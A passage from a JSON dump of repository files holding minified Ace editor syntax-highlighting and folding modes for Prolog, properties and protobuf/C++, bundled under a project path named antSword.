},{include:\"#basic_elem\"}],\"#fact\":[{token:[\"entity.name.function.fact.prolog\",\"punctuation.begin.fact.parameters.prolog\"],regex:\"([a-z]\\\\w*)(\\\\()(?!.*:-)\",push:[{token:[\"punctuation.end.fact.parameters.prolog\",\"punctuation.end.fact.prolog\"],regex:\"(\\\\))(\\\\.?)\",next:\"pop\"},{include:\"#parameter\"},{defaultToken:\"meta.fact.prolog\"}]}],\"#list\":[{token:\"punctuation.begin.list.prolog\",regex:\"\\\\[(?=.*\\\\])\",push:[{token:\"punctuation.end.list.prolog\",regex:\"\\\\]\",next:\"pop\"},{include:\"#comment\"},{token:\"punctuation.separator.list.prolog\",regex:\",\"},{token:\"punctuation.concat.list.prolog\",regex:\"\\\\|\",push:[{token:\"meta.list.concat.prolog\",regex:\"(?=\\\\s*\\\\])\",next:\"pop\"},{include:\"#basic_elem\"},{defaultToken:\"meta.list.concat.prolog\"}]},{include:\"#basic_elem\"},{defaultToken:\"meta.list.prolog\"}]}],\"#operators\":[{token:\"keyword.operator.prolog\",regex:\"\\\\\\\\\\\\+|\\\\bnot\\\\b|\\\\bis\\\\b|->|[><]|[><\\\\\\\\:=]?=|(?:=\\\\\\\\|\\\\\\\\=)=\"}],\"#parameter\":[{token:\"variable.language.anonymous.prolog\",regex:\"\\\\b_\\\\b\"},{token:\"variable.parameter.prolog\",regex:\"\\\\b[A-Z_]\\\\w*\\\\b\"},{token:\"punctuation.separator.parameters.prolog\",regex:\",\"},{include:\"#basic_elem\"},{token:\"text\",regex:\"[^\\\\s]\"}],\"#rule\":[{token:\"meta.rule.prolog\",regex:\"(?=[a-z]\\\\w*.*:-)\",push:[{token:\"punctuation.rule.end.prolog\",regex:\"\\\\.\",next:\"pop\"},{token:\"meta.rule.signature.prolog\",regex:\"(?=[a-z]\\\\w*.*:-)\",push:[{token:\"meta.rule.signature.prolog\",regex:\"(?=:-)\",next:\"pop\"},{token:\"entity.name.function.rule.prolog\",regex:\"[a-z]\\\\w*(?=\\\\(|\\\\s*:-)\"},{token:\"punctuation.rule.parameters.begin.prolog\",regex:\"\\\\(\",push:[{token:\"punctuation.rule.parameters.end.prolog\",regex:\"\\\\)\",next:\"pop\"},{include:\"#parameter\"},{defaultToken:\"meta.rule.parameters.prolog\"}]},{defaultToken:\"meta.rule.signature.prolog\"}]},{token:\"keyword.operator.definition.prolog\",regex:\":-\",push:[{token:\"meta.rule.definition.prolog\",regex:\"(?=\\\\.)\",next:\"pop\"},{include:\"#comment\"},{include:\"#expr\"},{defaultToken:\"meta.rule.definition.prolog\"}]},{defaultToken:\"meta.rule.prolog\"}]}],\"#statement\":[{token:\"meta.statement.prolog\",regex:\"(?=[a-z]\\\\w*\\\\()\",push:[{token:\"punctuation.end.statement.parameters.prolog\",regex:\"\\\\)\",next:\"pop\"},{include:\"#builtins\"},{include:\"#atom\"},{token:\"punctuation.begin.statement.parameters.prolog\",regex:\"\\\\(\",push:[{token:\"meta.statement.parameters.prolog\",regex:\"(?=\\\\))\",next:\"pop\"},{token:\"punctuation.separator.statement.prolog\",regex:\",\"},{include:\"#basic_elem\"},{defaultToken:\"meta.statement.parameters.prolog\"}]},{defaultToken:\"meta.statement.prolog\"}]}],\"#string\":[{token:\"punctuation.definition.string.begin.prolog\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.prolog\",regex:\"'\",next:\"pop\"},{token:\"constant.character.escape.prolog\",regex:\"\\\\\\\\.\"},{token:\"constant.character.escape.quote.prolog\",regex:\"''\"},{defaultToken:\"string.quoted.single.prolog\"}]}],\"#variable\":[{token:\"variable.language.anonymous.prolog\",regex:\"\\\\b_\\\\b\"},{token:\"variable.other.prolog\",regex:\"\\\\b[A-Z_][a-zA-Z0-9_]*\\\\b\"}]},this.normalizeRules()};s.metaData={fileTypes:[\"plg\",\"prolog\"],foldingStartMarker:\"(%\\\\s*region \\\\w*)|([a-z]\\\\w*.*:- ?)\",foldingStopMarker:\"(%\\\\s*end(\\\\s*region)?)|(?=\\\\.)\",keyEquivalent:\"^~P\",name:\"Prolog\",scopeName:\"source.prolog\"},r.inherits(s,i),t.PrologHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/prolog\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/prolog_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./prolog_highlight_rules\").PrologHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"%\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/prolog\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-properties.js",
    "content": "ace.define(\"ace/mode/properties_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=/\\\\u[0-9a-fA-F]{4}|\\\\/;this.$rules={start:[{token:\"comment\",regex:/[!#].*$/},{token:\"keyword\",regex:/[=:]$/},{token:\"keyword\",regex:/[=:]/,next:\"value\"},{token:\"constant.language.escape\",regex:e},{defaultToken:\"variable\"}],value:[{regex:/\\\\$/,token:\"string\",next:\"value\"},{regex:/$/,token:\"string\",next:\"start\"},{token:\"constant.language.escape\",regex:e},{defaultToken:\"string\"}]}};r.inherits(s,i),t.PropertiesHighlightRules=s}),ace.define(\"ace/mode/properties\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/properties_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./properties_highlight_rules\").PropertiesHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.$id=\"ace/mode/properties\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-protobuf.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new 